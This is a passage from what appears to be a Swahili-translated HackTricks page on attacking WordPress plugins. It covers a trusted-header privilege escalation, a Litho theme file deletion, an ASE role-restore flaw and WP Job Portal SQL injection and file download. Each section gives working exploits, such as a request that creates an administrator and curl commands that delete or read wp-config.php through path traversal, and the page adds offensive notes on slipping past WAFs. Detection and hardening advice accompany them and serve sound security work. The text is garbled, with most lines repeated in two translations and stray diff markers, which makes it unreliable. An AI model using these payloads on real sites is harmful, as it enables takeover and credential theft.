Baadhi ya plugins hufanya "trusted header" kama njia fupi kwa integrations za ndani au reverse proxies, kisha hutumia header hiyo kuweka muktadha wa mtumiaji wa sasa kwa maombi ya REST. Ikiwa header haifungwi kwa njia ya cryptographic kwa ombi na sehemu ya upstream, mshambuliaji anaweza kuispoof na kufikia njia za REST zilizo na vigezo vya juu kama administrator.
1. Ukaguzi wa **uwezo** (mfano `current_user_can()` au angalau `is_user_logged_in()`), na
2. **CSRF nonce** inayothibitishwa na `check_ajax_referer()` / `wp_verify_nonce()`, na
3. **Usafi wa ingizo / uthibitisho mkali**.
- Athari: kuongezeka kwa ruhusa bila uthibitisho hadi hadhi ya admin kwa kuunda administrator mpya kupitia core users REST route.
- Mfano wa header: `X-Wcpay-Platform-Checkout-User: 1` (inamlazimisha user ID 1, kawaida akaunti ya administrator ya kwanza).
- Njia iliyoathiriwa: `POST /wp-json/wp/v2/users` with an elevated role array.
Mandhari ya Litho ya matumizi mengi (< 3.1) ilisahau udhibiti hao 3 katika kipengele cha *Remove Font Family* na ikamaliza kutuma msimbo ufuatao (uliopunguzika):
PoC
```http
POST /wp-json/wp/v2/users HTTP/1.1
Host: <WP HOST>
User-Agent: Mozilla/5.0
Accept: application/json
Content-Type: application/json
X-Wcpay-Platform-Checkout-User: 1
Content-Length: 114
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
```
Kwa nini inafanya kazi
- Plugin inachanganya header inayoendeshwa na mteja na hali ya authentication na kuruka ukaguzi wa uwezo.
- Core ya WordPress inatarajia uwezo wa `create_users` kwa route hii; hack ya plugin inaukwepa kwa kuweka moja kwa moja muktadha wa mtumiaji wa sasa kutoka kwa header.
Viashiria vinavyotarajiwa vya mafanikio
- HTTP 201 na JSON body inayoelezea mtumiaji aliyeundwa.
- Mtumiaji mpya wa admin anaonekana katika `wp-admin/users.php`.
Orodha ya kugundua
- Tafuta kwa grep `getallheaders()`, `$_SERVER['HTTP_...']`, au vendor SDKs zinazosoma custom headers kuweka muktadha wa mtumiaji (mfano, `wp_set_current_user()`, `wp_set_auth_cookie()`).
- Kagua REST registrations kwa callbacks zenye vipaumbele ambazo hazina ukaguzi imara wa `permission_callback` na badala yake zinategemea request headers.
- Tafuta matumizi ya kazi za usimamizi wa watumiaji za core (`wp_insert_user`, `wp_create_user`) ndani ya REST handlers ambazo zimefungwa kwa thamani za header pekee.
Kukaza usalama
- Usiweke au kutegemea authentication au authorization kutoka kwa headers zinazodhibitiwa na mteja.
- Ikiwa reverse proxy lazima iingize identity, maliza uaminifu kwenye proxy na ondoa nakala za kuingia (mfano, `unset X-Wcpay-Platform-Checkout-User` at the edge), kisha pitia token iliyosainiwa na uthibitishe upande wa server.
- Kwa routes za REST zinazofanya vitendo vya vipaumbele, liwa ukaguzi wa `current_user_can()` na `permission_callback` kali (USITUMIE `__return_true`).
- Pendelea auth ya first-party (cookies, application passwords, OAuth) badala ya header “impersonation”.
References: angalia viungo mwishoni mwa ukurasa huu kwa kesi ya umma na uchambuzi mpana.
### Ufutaji wa Faili kwa Hiari Bila Uthibitisho kupitia wp_ajax_nopriv (Litho Theme <= 3.0)
Themes na plugins za WordPress mara nyingi huweka wazi handlers za AJAX kupitia hooks `wp_ajax_` na `wp_ajax_nopriv_`. Wakati toleo la **_nopriv_** linapotumika **callback inafikiwa na wageni wasio na uthibitisho**, hivyo kitendo chochote nyeti kinapaswa kutekeleza pia:
1. Ukaguzi wa uwezo (**capability check**) (mfano `current_user_can()` au angalau `is_user_logged_in()`), na
2. Nonce ya **CSRF** iliyothibitishwa kwa `check_ajax_referer()` / `wp_verify_nonce()`, na
3. **Usafishaji / uthibitisho mkali wa ingizo**.
Theme ya Litho multipurpose (< 3.1) ilisahau udhibiti hizo 3 katika kipengele cha *Remove Font Family* na hatimaye ikaweka msimbo ufuatao (uliosahihishwa):
```php
function litho_remove_font_family_action_data() {
if ( empty( $_POST['fontfamily'] ) ) {
@ -398,31 +443,31 @@ die();
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
```
Masuala yaliyoanzishwa na kipande hiki:
Issues introduced by this snippet:
* **Upatikanaji usio na uthibitisho** kiunganishi `wp_ajax_nopriv_` kimeandikishwa.
* **Hakuna nonce / ukaguzi wa uwezo** mtembezi yeyote anaweza kufikia mwisho huo.
* **Hakuna usafi wa njia** mfuatiliaji wa `fontfamily` unaodhibitiwa na mtumiaji unachanganywa na njia ya mfumo wa faili bila kuchujwa, ikiruhusu mzunguko wa kawaida `../../`.
* **Unauthenticated access** hook ya `wp_ajax_nopriv_` imesajiliwa.
* **No nonce / capability check** mtembeleaji yeyote anaweza kufikia endpoint.
* **No path sanitisation** mnyororo wa `fontfamily` unaodhibitiwa na mtumiaji umeunganishwa kwenye path ya filesystem bila kuchuja, kuruhusu classic `../../` traversal.
#### Ukatili
#### Exploitation
Mshambuliaji anaweza kufuta faili au saraka yoyote **chini ya saraka ya msingi ya uploads** (kawaida `<wp-root>/wp-content/uploads/`) kwa kutuma ombi moja la HTTP POST:
Mshambulizi anaweza kufuta faili au saraka yoyote **chini ya uploads base directory** (kwa kawaida `<wp-root>/wp-content/uploads/`) kwa kutuma ombi moja la HTTP POST:
```bash
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
-d 'action=litho_remove_font_family_action_data' \
-d 'fontfamily=../../../../wp-config.php'
```
Kwa sababu `wp-config.php` iko nje ya *uploads*, mfuatano wa `../` nne unatosha kwenye usakinishaji wa kawaida. Kufuta `wp-config.php` kunalazimisha WordPress kuingia kwenye *installation wizard* kwenye ziara inayofuata, na kuwezesha kuchukua tovuti kwa ukamilifu (mshambuliaji anatoa tu usanidi mpya wa DB na kuunda mtumiaji wa admin).
Kwa sababu `wp-config.php` iko nje ya *uploads*, mfululizo wa `../` mara nne unatosha katika usakinishaji wa chaguo-msingi. Kufuta `wp-config.php` kunalazimisha WordPress kuingia kwenye *installation wizard* katika ziara inayofuata, kuiruhusu takeover kamili ya tovuti (mshambuliaji anatoa tu usanidi mpya wa DB na kuunda mtumiaji wa admin).
Malengo mengine yenye athari ni pamoja na faili za plugin/temu za `.php` (kuvunja plugins za usalama) au sheria za `.htaccess`.
Malengo mengine yenye athari ni pamoja na faili za plugin/theme `.php` (kwa kuvunja plugin za usalama) au sheria za `.htaccess`.
#### Orodha ya kugundua
#### Orodha ya utambuzi
* Kila `add_action( 'wp_ajax_nopriv_...')` callback inayopiga simu kwa wasaidizi wa mfumo wa faili (`copy()`, `unlink()`, `$wp_filesystem->delete()`, n.k.).
* Kuunganisha pembejeo za mtumiaji zisizoshughulikiwa katika njia (angalia `$_POST`, `$_GET`, `$_REQUEST`).
* Kila callback ya `add_action( 'wp_ajax_nopriv_...')` inayoitisha helper za filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, n.k.).
* Ujunganishaji wa input za mtumiaji zisizochujwa ndani ya paths (angalia `$_POST`, `$_GET`, `$_REQUEST`).
* Kukosekana kwa `check_ajax_referer()` na `current_user_can()`/`is_user_logged_in()`.
#### Hardening
#### Kuimarisha usalama
```php
function secure_remove_font_family() {
if ( ! is_user_logged_in() ) {
@ -442,16 +487,16 @@ add_action( 'wp_ajax_litho_remove_font_family_action_data', 'secure_remove_font_
// 🔒 NO wp_ajax_nopriv_ registration
```
> [!TIP]
> **Daima** chukulia operesheni yoyote ya kuandika/kufuta kwenye diski kama yenye mamlaka na hakiki mara mbili:
> • Uthibitishaji • Uidhinishaji • Nonce • Usafi wa ingizo • Kuweka njia (kwa mfano kupitia `realpath()` pamoja na `str_starts_with()`).
> **Daima** chukulia kila operesheni ya kuandika/kufuta kwenye disk kama yenye cheo kikubwa na hakikisha mara mbili:
> • Authentication • Authorisation • Nonce • Input sanitisation • Path containment (e.g. via `realpath()` plus `str_starts_with()`).
---
### Kuinua mamlaka kupitia urejeleaji wa jukumu la zamani na ukosefu wa uidhinishaji (ASE "Tazama Admin kama Jukumu")
### Privilege escalation via stale role restoration and missing authorization (ASE "View Admin as Role")
Plugins nyingi zinafanya kazi ya "tazama kama jukumu" au kubadilisha jukumu kwa muda kwa kuhifadhi jukumu la awali katika meta ya mtumiaji ili ziweze kurejelewa baadaye. Ikiwa njia ya urejeleaji inategemea tu vigezo vya ombi (kwa mfano, `$_REQUEST['reset-for']`) na orodha inayoshughulikiwa na plugin bila kuangalia uwezo na nonce halali, hii inakuwa kuinua mamlaka kwa wima.
Plugin nyingi hutekeleza kipengele cha "view as role" au temporary role-switching kwa kuhifadhi role(s) za awali katika user meta ili ziweze kurejeshwa baadaye. Ikiwa njia ya urejeshaji inategemea tu request parameters (mfano, `$_REQUEST['reset-for']`) na orodha inayohifadhiwa na plugin bila kukagua capabilities na nonce halali, hii inakuwa vertical privilege escalation.
Mfano halisi ulipatikana katika plugin ya Admin na Site Enhancements (ASE) (≤ 7.6.2.1). Tawi la kurejesha lilirejesha majukumu kulingana na `reset-for=<username>` ikiwa jina la mtumiaji lilionekana katika orodha ya ndani `$options['viewing_admin_as_role_are']`, lakini halikufanya uhakiki wa `current_user_can()` wala uthibitisho wa nonce kabla ya kuondoa majukumu ya sasa na kuongeza tena majukumu yaliyohifadhiwa kutoka meta ya mtumiaji `_asenha_view_admin_as_original_roles`:
Mfano halisi ulipatikana kwenye Admin and Site Enhancements (ASE) plugin (≤ 7.6.2.1). Tawi la reset liliirejesha roles kulingana na `reset-for=<username>` ikiwa username ilionekana katika array ya ndani `$options['viewing_admin_as_role_are']`, lakini halikufanya `current_user_can()` check wala nonce verification kabla ya kuondoa current roles na kuongeza tena roles zilizohifadhiwa kutoka user meta `_asenha_view_admin_as_original_roles`:
```php
// Simplified vulnerable pattern
if ( isset( $_REQUEST['reset-for'] ) ) {
@ -466,19 +511,19 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
}
}
```
Kwa nini inapatikana
Kwa nini inaweza kutumiwa
- Inategemea `$_REQUEST['reset-for']` na chaguo la plugin bila uthibitisho wa upande wa seva.
- Ikiwa mtumiaji hapo awali alikuwa na haki za juu zilizohifadhiwa katika `_asenha_view_admin_as_original_roles` na akashushwa, wanaweza kuzirudisha kwa kugonga njia ya kurekebisha.
- Katika baadhi ya matumizi, mtumiaji yeyote aliyeidhinishwa anaweza kuanzisha kurekebisha kwa jina lingine la mtumiaji ambalo bado lipo katika `viewing_admin_as_role_are` (uthibitisho ulioharibika).
- Inamwamini `$_REQUEST['reset-for']` na chaguo la plugin bila idhinisho upande wa server.
- Ikiwa mtumiaji aliwahi kuwa na vibali vya juu vilivyohifadhiwa katika `_asenha_view_admin_as_original_roles` na baadaye alipunguzwa, anaweza kuviweka tena kwa kufikia njia ya reset.
- Katika deployments zingine, mtumiaji yeyote aliye authenticated anaweza kusababisha reset kwa username mwingine aliyeko bado katika `viewing_admin_as_role_are` (idhinishaji lililoharibika).
Masharti ya shambulio
Mahitaji ya shambulio
- Toleo la plugin lenye udhaifu na kipengele kilichowashwa.
- Akaunti lengwa ina jukumu la juu lililohifadhiwa katika meta ya mtumiaji kutoka matumizi ya awali.
- Kikao chochote kilichothibitishwa; kukosekana kwa nonce/uwezo katika mchakato wa kurekebisha.
- Toleo la plugin lenye udhaifu na kipengele kimewezeshwa.
- Akaunti lengwa ina jukumu la juu lililosalia lililohifadhiwa katika user meta kutoka matumizi ya awali.
- Kikao chochote cha authenticated; ukosefu wa nonce/capability katika mtiririko wa reset.
Ushambulizi (mfano)
Exploitation (example)
```bash
# While logged in as the downgraded user (or any auth user able to trigger the code path),
# hit any route that executes the role-switcher logic and include the reset parameter.
@ -486,44 +531,59 @@ Ushambulizi (mfano)
curl -s -k -b 'wordpress_logged_in=...' \
'https://victim.example/wp-admin/?reset-for=<your_username>'
```
Katika toleo zenye udhaifu, hii inafuta majukumu ya sasa na kuongezea tena majukumu ya asili yaliyohifadhiwa (mfano, `administrator`), kwa ufanisi inakuza mamlaka.
Katika builds zilizo hatarini hii hufuta current roles na kuziweka tena original roles zilizohifadhiwa (mfano, `administrator`), kwa ufanisi kuongeza privileges.
Orodha ya kugundua
Detection checklist
- Angalia vipengele vya kubadilisha majukumu vinavyodumisha “majukumu ya asili” katika meta ya mtumiaji (mfano, `_asenha_view_admin_as_original_roles`).
- Tambua njia za kurekebisha/kurejesha ambazo:
- Zinapata majina ya watumiaji kutoka `$_REQUEST` / `$_GET` / `$_POST`.
- Kubadilisha majukumu kupitia `add_role()` / `remove_role()` bila `current_user_can()` na `wp_verify_nonce()` / `check_admin_referer()`.
- Kuthibitisha kulingana na array ya chaguo la plugin (mfano, `viewing_admin_as_role_are`) badala ya uwezo wa muigizaji.
- Tafuta vipengele vya role-switching vinavyohifadhi “original roles” katika user meta (mfano, `_asenha_view_admin_as_original_roles`).
- Tambua reset/restore paths ambazo:
- Soma majina ya watumiaji kutoka `$_REQUEST` / `$_GET` / `$_POST`.
- Badilisha roles kupitia `add_role()` / `remove_role()` bila `current_user_can()` na `wp_verify_nonce()` / `check_admin_referer()`.
- Ruhusu kwa msingi wa plugin option array (mfano, `viewing_admin_as_role_are`) badala ya capabilities za actor.
Kuimarisha
Hardening
- Lazimisha ukaguzi wa uwezo kwenye kila tawi linalobadilisha hali (mfano, `current_user_can('manage_options')` au kali zaidi).
- Hitaji nonces kwa mabadiliko yote ya jukumu/ruhusa na uyathibitisha: `check_admin_referer()` / `wp_verify_nonce()`.
- Kamwe usiamini majina ya watumiaji yanayotolewa na ombi; pata mtumiaji wa lengo upande wa seva kulingana na muigizaji aliyethibitishwa na sera wazi.
- Batilisha hali ya “majukumu ya asili” kwenye sasisho za wasifu/jukumu ili kuepuka urejeleaji wa mamlaka ya juu isiyo ya sasa:
- Lazimisha ukaguzi wa capabilities katika kila tawi linalobadilisha state (mfano, `current_user_can('manage_options')` au kali zaidi).
- Hitaji nonces kwa mabadiliko yote ya role/permission na zithibitishe: `check_admin_referer()` / `wp_verify_nonce()`.
- Usiwamini kamwe majina ya watumiaji yaliyotolewa ndani ya request; tambua mtumiaji lengwa upande wa server kulingana na mhusika aliyethibitishwa na sera wazi.
- Ghairi uhalali wa hali ya “original roles” wakati wa masasisho ya profile/role ili kuepuka urejeshaji wa kibali cha juu kilichochakaa:
```php
add_action( 'profile_update', function( $user_id ) {
delete_user_meta( $user_id, '_asenha_view_admin_as_original_roles' );
}, 10, 1 );
```
- Fikiria kuhifadhi hali ndogo na kutumia tokeni zenye muda wa kikomo na zilizolindwa na uwezo kwa ajili ya kubadilisha majukumu kwa muda.
- Fikiria kuhifadhi state ndogo tu na kutumia token za muda mfupi, zilizo na ulinzi wa capabilities, kwa kubadilisha majukumu kwa muda.
---
### WAF considerations for WordPress/plugin CVEs
Generic edge/server WAFs zimeundwa kwa mifumo ya jumla (SQLi, XSS, LFI). Mengi ya dosari za WordPress/plugin zenye athari kubwa ni bugi za mantiki maalum ya application/uthibitisho (auth) ambazo zinaonekana kama trafiki ya kawaida isipokuwa engine itaelewa routes za WordPress na semantics za plugin.
Offensive notes
- Lenga endpoints maalum za plugin kwa payloads safi: `admin-ajax.php?action=...`, `wp-json/<namespace>/<route>`, custom file handlers, shortcodes.
- Jaribu njia zisizothibitishwa kwanza (AJAX `nopriv`, REST na permissive `permission_callback`, shortcodes za umma). Payloads za default mara nyingi zinafanikiwa bila obfuscation.
- Mifano ya kawaida zenye athari kubwa: privilege escalation (broken access control), arbitrary file upload/download, LFI, open redirect.
Defensive notes
- Usitegemee saini za generic za WAF kulinda plugin CVEs. Tekeleza virtual patches maalum kwa layer ya application na aina ya udhaifu au sasisha haraka.
- Pendelea positive-security checks katika code (capabilities, nonces, strict input validation) badala ya vichujio hasi vya regex.
## Ulinzi wa WordPress
### Sasisho za Kawaida
### Sasisho za kawaida
Hakikisha kwamba WordPress, plugins, na mandhari ziko updated. Pia thibitisha kwamba sasisho za kiotomatiki zimewezeshwa katika wp-config.php:
Hakikisha WordPress, plugins, na themes ziko kwenye matoleo ya hivi karibuni. Pia thibitisha kwamba automated updating imewezeshwa katika wp-config.php:
```bash
define( 'WP_AUTO_UPDATE_CORE', true );
add_filter( 'auto_update_plugin', '__return_true' );
add_filter( 'auto_update_theme', '__return_true' );
```
Pia, **sakinisha tu plugins na mandhari za WordPress zinazoweza kuaminika**.
Pia, **weka tu viendelezi na mandhari za WordPress vinavyoweza kuaminika**.
### Plugins za Usalama
### Viendelezi vya Usalama
- [**Wordfence Security**](https://wordpress.org/plugins/wordfence/)
- [**Sucuri Security**](https://wordpress.org/plugins/sucuri-scanner/)
@ -531,15 +591,15 @@ Pia, **sakinisha tu plugins na mandhari za WordPress zinazoweza kuaminika**.
### **Mapendekezo Mengine**
- Ondoa mtumiaji wa **admin** wa kawaida
- Ondoa mtumiaji wa chaguo-msingi **admin**
- Tumia **nywila zenye nguvu** na **2FA**
- Mara kwa mara **kagua** ruhusa za watumiaji
- Kwa vipindi vya kawaida **kagua** **ruhusa** za watumiaji
- **Punguza majaribio ya kuingia** ili kuzuia mashambulizi ya Brute Force
- Badilisha jina la faili **`wp-admin.php`** na ruhusu ufikiaji tu ndani au kutoka anwani fulani za IP.
- Badilisha jina la faili **`wp-admin.php`** na ruhusu ufikaji tu ndani ya mtandao au kutoka anwani za IP fulani.
### SQL Injection isiyo na uthibitisho kupitia ukosefu wa uthibitisho (WP Job Portal <= 2.3.2)
### SQL Injection isiyothibitishwa kutokana na uhakiki usiofaa (WP Job Portal <= 2.3.2)
Plugin ya WP Job Portal ya kuajiri ilifunua kazi ya **savecategory** ambayo hatimaye inatekeleza msimbo huu dhaifu ndani ya `modules/category/model.php::validateFormData()`:
Plugin ya ajira WP Job Portal ilifunua kazi ya **savecategory** ambayo hatimaye inatekeleza msimbo ufuatao wenye udhaifu ndani ya `modules/category/model.php::validateFormData()`:
```php
$category = WPJOBPORTALrequest::getVar('parentid');
$inquery = ' ';
@ -549,19 +609,19 @@ $inquery .= " WHERE parentid = $category "; // <-- direct concat ✗
$query = "SELECT max(ordering)+1 AS maxordering FROM "
. wpjobportal::$_db->prefix . "wj_portal_categories " . $inquery; // executed later
```
Masuala yaliyoanzishwa na kipande hiki:
Masuala yaliyoletwa na kipande hiki cha msimbo:
1. **Kuingilia kwa mtumiaji bila kusafishwa** `parentid` inatoka moja kwa moja kwenye ombi la HTTP.
2. **Kuunganisha nyuzi ndani ya kipengele cha WHERE** hakuna `is_numeric()` / `esc_sql()` / taarifa iliyopangwa.
3. **Ufikivu usio na uthibitisho** ingawa hatua inatekelezwa kupitia `admin-post.php`, ukaguzi pekee uliosema ni **CSRF nonce** (`wp_verify_nonce()`), ambayo mtembeleaji yeyote anaweza kupata kutoka kwenye ukurasa wa umma unaoingiza shortcode `[wpjobportal_my_resumes]`.
1. **Kuingizwa kwa mtumiaji bila kusafishwa** `parentid` inatoka moja kwa moja kutoka kwenye ombi la HTTP.
2. **Uchanganyaji wa kamba ndani ya klauzi ya WHERE** hakuna `is_numeric()` / `esc_sql()` / prepared statement.
3. **Ufikika bila uthibitisho** ingawa kitendo kinaendeshwa kupitia `admin-post.php`, ukaguzi pekee uliopo ni **CSRF nonce** (`wp_verify_nonce()`), ambao mgeni yeyote anaweza kupata kutoka kwenye ukurasa wa umma unaojumuisha shortcode `[wpjobportal_my_resumes]`.
#### Ukatili
#### Exploitation
1. Pata nonce mpya:
```bash
curl -s https://victim.com/my-resumes/ | grep -oE 'name="_wpnonce" value="[a-f0-9]+' | cut -d'"' -f4
```
2. Ingiza SQL isiyo na mipaka kwa kutumia `parentid`:
2. Inject arbitrary SQL by abusing `parentid`:
```bash
curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'task=savecategory' \
@ -569,20 +629,20 @@ curl -X POST https://victim.com/wp-admin/admin-post.php \
-d 'parentid=0 OR 1=1-- -' \
-d 'cat_title=pwn' -d 'id='
```
Jibu linaonyesha matokeo ya ombi lililoingizwa au kubadilisha hifadhidata, kuthibitisha SQLi.
Jibu linaonyesha matokeo ya query iliyoungizwa au linabadilisha database, kuthibitisha SQLi.
### Kupakua Faili za Kigeni zisizo na Uthibitisho / Kupita Njia (WP Job Portal <= 2.3.2)
### Unauthenticated Arbitrary File Download / Path Traversal (WP Job Portal <= 2.3.2)
Kazi nyingine, **downloadcustomfile**, iliruhusu wageni kupakua **faili yoyote kwenye diski** kupitia kupita njia. Kitu kilichoharibika kiko katika `modules/customfield/model.php::downloadCustomUploadedFile()`:
Kazi nyingine, **downloadcustomfile**, iliruhusu wageni kupakua **faili yoyote kwenye diski** kupitia path traversal. Sink iliyo dhaifu iko katika `modules/customfield/model.php::downloadCustomUploadedFile()`:
```php
$file = $path . '/' . $file_name;
...
echo $wp_filesystem->get_contents($file); // raw file output
```
`$file_name` inadhibitiwa na mshambuliaji na inachanganywa **bila kusafishwa**. Tena, lango pekee ni **CSRF nonce** ambayo inaweza kupatikana kutoka kwenye ukurasa wa resume.
`$file_name` inadhibitiwa na mshambuliaji na imeunganishwa **bila kusafishwa**. Tena, kizuizi pekee ni **CSRF nonce** ambacho kinaweza kupatikana kutoka kwenye ukurasa wa resume.
#### Utekelezaji
#### Utekelezaji wa shambulio
```bash
curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'task=downloadcustomfile' \
@ -591,7 +651,7 @@ curl -G https://victim.com/wp-admin/admin-post.php \
--data-urlencode 'entity_id=1' \
--data-urlencode 'file_name=../../../wp-config.php'
```
Server inajibu na maudhui ya `wp-config.php`, ikivuja DB credentials na funguo za uthibitisho.
Seva inajibu na yaliyomo ya `wp-config.php`, leaking DB credentials and auth keys.
## Marejeo
@ -599,5 +659,8 @@ Server inajibu na maudhui ya `wp-config.php`, ikivuja DB credentials na funguo z
- [Multiple Critical Vulnerabilities Patched in WP Job Portal Plugin](https://patchstack.com/articles/multiple-critical-vulnerabilities-patched-in-wp-job-portal-plugin/)
- [Rare Case of Privilege Escalation in ASE Plugin Affecting 100k+ Sites](https://patchstack.com/articles/rare-case-of-privilege-escalation-in-ase-plugin-affecting-100k-sites/)
- [ASE 7.6.3 changeset delete original roles on profile update](https://plugins.trac.wordpress.org/changeset/3211945/admin-site-enhancements/tags/7.6.3/classes/class-view-admin-as-role.php?old=3208295&old_path=admin-site-enhancements%2Ftags%2F7.6.2%2Fclasses%2Fclass-view-admin-as-role.php)
- [Hosting security tested: 87.8% of vulnerability exploits bypassed hosting defenses](https://patchstack.com/articles/hosting-security-tested-87-percent-of-vulnerability-exploits-bypassed-hosting-defenses/)
- [WooCommerce Payments ≤ 5.6.1 Unauth privilege escalation via trusted header (Patchstack DB)](https://patchstack.com/database/wordpress/plugin/woocommerce-payments/vulnerability/wordpress-woocommerce-payments-plugin-5-6-1-unauthenticated-privilege-escalation-vulnerability)
- [Hackers exploiting critical WordPress WooCommerce Payments bug](https://www.bleepingcomputer.com/news/security/hackers-exploiting-critical-wordpress-woocommerce-payments-bug/)
{{#include ../../banners/hacktricks-training.md}}